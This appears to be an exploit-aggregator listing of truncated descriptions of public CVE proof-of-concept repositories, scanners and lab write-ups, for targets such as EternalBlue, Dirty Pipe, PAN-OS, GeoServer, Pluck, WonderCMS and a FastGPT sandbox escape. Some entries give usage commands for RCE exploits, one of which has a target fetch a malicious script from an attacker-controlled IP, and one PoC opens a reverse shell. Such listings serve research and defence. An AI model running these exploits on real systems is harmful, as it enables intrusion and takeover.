Spring-Cloud-Function-SpEL

Spring-Cloud-Function-SpEL Puedes visitar el blog personal para más detalles https://pizz33.github.io/ Un entorno de prueba para la inyección de expresiones SpEL en Spring Cloud Function Versión java11, ejecuta java -jar demo-0.0.1-SNAPSHOT.jar para iniciar Una vez completada la configuración,...

CVE-2026-23744-script

Un script para CVE-2026-23744, que explota MCPJam Inspector versiones = 1.4.2. Basado en el comando curl utilizado aquí: https://github.com/advisories/GHSA-232v-j27c-5pp6 Asegúrate de que tu archivo /etc/hosts sea correcto y apunte al dominio/vhost del objetivo...

CVE-2021-32804

CVE-2021-32804 yamory blog 「CVE-2021-32804 npmにも影響があるnode-tarのパストラバーサルの脆弱性」 で利用したDocker環境の構築を行うためのレポジトリです。 环境搭建 root@kitploit: docker build -t cve-2021-32804 . docker run -it cve-2021-32804 /bin/bash 重现漏洞 node-tar root@kitploit: root@5e1af2148215:/poc node tar.js root@5e1af2148215:/poc su node...

Triage-CVE-2017-0144

Triage: CVE-2017-0144 EternalBlue / SMBv1 — asociado a la propagación de WannaCry Para este laboratorio, el objetivo era hacer triage de otra vulnerabilidad real y conocida, esta vez EternalBlue, la falla de SMBv1 que fue explotada famosamente por el brote de ransomware WannaCry. Paso 1: Abrir el...

CVE-2017-15944-POC

CVE-2017-15944-POC CVE-2017-15944 Palo Alto Networks 防火墙远程根权限代码执行的POC 使用 root@kitploit: python panos-poc.py https://panip...

CVE-2024-36401-PoC

CVE-2024-36401-PoC 此仓库包含一个针对CVE-2024-36401的概念验证（PoC）脚本，该漏洞可被利用在目标服务器上实现远程代码执行。 功能特性 使用Perl分配一个反向Shell监听器。 使用Base64编码命令。 向目标服务器发送请求以利用漏洞。 通过信号处理优雅地处理中断。 先决条件 Python 3.x requests 库 安装 1. 克隆此仓库： root@kitploit: git clone https://github.com/yourusername/CVE-2024-36401-PoC.git cd CVE-2024-36401-PoC 2...

CVE-2026-22444

CVE-2026-22444 Vulnerabilidad de Validación de Rutas UNC en Apache Solr Resumen CVE-2026-22444 es una vulnerabilidad de seguridad que afecta a Apache Solr, divulgada públicamente alrededor del 20 de enero de 2026. La vulnerabilidad se origina por una validación insuficiente de entrada CWE-20:...

CVE-2014-0094

CVE-2014-0094 Para verificación. Basado en https://piyolog.hatenadiary.jp/entry/20140417/1397750197, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 se reproduce. El classLoader está funcionando, pero el log clave ha quedado percent-encoded, por lo que no se llega a RCE También se añadió la versi...

CVE-2017-3241-POC

CVE-2017-3241-POC 针对 Java RMI 反序列化漏洞的 POC 你可能需要使用 JDK 8 来运行此 POC。 只需注意客户端和服务端的 Message 类。它们是不同的。而差异正是理解此漏洞的关键。 Oracle 发布的修复方案是让开发者在 Java 安全策略中配置反序列化白名单/黑名单。我想说，有多少开发者在被攻击之前知道这个列表的存在？ 我本想写一个测试程序，但懒得写……如果你理解了我的代码，很容易自己写出来。我建议你使用 Java instrument 或反射。 如果目标类路径中存在某些类，则可能实现远程代码执行：...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 是 Pluck CMS v4.7.18 中的一个 RCE 漏洞。该漏洞通过 /inc/modulesinstall.php 组件中的任意文件上传漏洞实现，允许通过上传恶意的 .zip 文件执行任意代码。 用法 在运行利用程序之前，需要知道在 /login.php 上认证的密码。 对目标运行利用程序： root@kitploit: $ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 + Creating payload...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 是 Wonder CMS 中的一个反射型 XSS 漏洞，可进一步通过 installModule 组件利用恶意脚本执行任意代码。 使用方法 针对目标的 loginURL 运行漏洞利用程序，指定用于托管恶意 .js 文件的 Web 服务器的 IP 和端口： root@kitploit: $ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888 + 创建 PHP Web Shell + 写入 malicious.js + XSS...

DVWA-ZAP-PENTEST

Evaluación de Vulnerabilidades de DVWA usando OWASP ZAP Una evaluación práctica de seguridad de aplicaciones web de DVWA Damn Vulnerable Web App , realizada usando OWASP ZAP Zed Attack Proxy 2.17.0. Este proyecto documenta el flujo de trabajo completo: reconocimiento spidering, escaneo automatiza...

CVE-2022-0847

CVE-2022-0847 Linux 内核自 5.8 版本起存在的一个漏洞，允许覆盖任意只读文件中的数据。这会导致权限提升，因为非特权进程可以向 root 进程注入代码。 编译：gcc poc.c -o poc 用法：./poc TARGETFILE OFFSET DATA 作者及更多信息：https://dirtypipe.cm4all.com/...

CVE-2013-2028_Checker

CVE-2013-2028 - Nginx HTTP 服务器 1.3.9-1.4.0 分块编码栈缓冲区溢出 描述 nginx 1.3.9 至 1.4.0 版本中 http/ngxhttpparse.c 文件的 ngxhttpparsechunked 函数允许远程攻击者通过一个带有超大分块大小的分块传输编码请求造成拒绝服务（崩溃）并执行任意代码，该漏洞触发整数符号错误和基于栈的缓冲区溢出。 示例 root@kitploit: $ python3 nginxcve20132028checker.py http://172.17.0.3 ! Target: http://172.17.0.3...

cve-2021-41773-source-code-analysis

Apache HTTP Server CVE-2021-41773 源代码分析 一个基于 Python 的静态补丁分析工具，用于通过对比存在漏洞的 Apache HTTP Server 2.4.49 源代码与已修补的 2.4.51 实现，研究 CVE-2021-41773（Apache HTTP Server 路径遍历） 的根本原因与修复措施。 该项目执行的是语义级源代码分析，而非简单的基于文本的差异比较。它从目标函数中提取结构信息，比较两个版本，推断与安全相关的变更，并生成专业的分析报告。 功能特性 静态源代码分析 使用花括号匹配进行函数提取 漏洞版本与已修补版本之间的结构比较...

CVE-2026-14669

CVE-2026-14669 - Desbordamiento de búfer en montón en la abreviatura de zona horaria de tochar de PostgreSQL La función tochar de PostgreSQL presenta una vulnerabilidad de desbordamiento de búfer en el montón al procesar el formato de zona horaria. Un atacante puede provocar una escritura fuera d...

CVE-2024-40275_Scanner

Escáner CVE-2024-40725 Una herramienta de detección basada en Python para CVE-2024-40725 , una vulnerabilidad de divulgación de código fuente del servidor HTTP Apache que afecta a las versiones 2.4.0 y 2.4.61. Aviso legal: Ejecute este escáner únicamente contra servidores de su propiedad o para l...

CVE-2021-1675-PrintNightmare-Analysis

Investigación de vulnerabilidades: Elevación local de privilegios y RCE a través de Windows Print Spooler PrintNightmare / CVE-2021-1675 El repositorio contiene un informe técnico detallado write-up y el análisis del concepto de explotación de una vulnerabilidad crítica en el servicio del...

WSUSResponder

🧰 WSUSResponder Versión: 1.0.1 Autor: RZA / IT Operations Licencia:MIT 🎯 Objetivo El módulo WSUSResponder proporciona un conjunto de herramientas PowerShell para responder rápidamente a la vulnerabilidad crítica CVE-2025-59287 , una falla de ejecución remota de código RCE que afecta a Windows...

fastgpt-sandbox-audit

fastgpt-sandbox-audit Herramienta de auditoría de cadenas de escape del sandbox de Python de FastGPT. El nodo de "ejecución de código" del flujo de trabajo de FastGPT envía el código Python del usuario a un sandbox independiente para su ejecución. La protección del sandbox en v4.14.8 es una capa...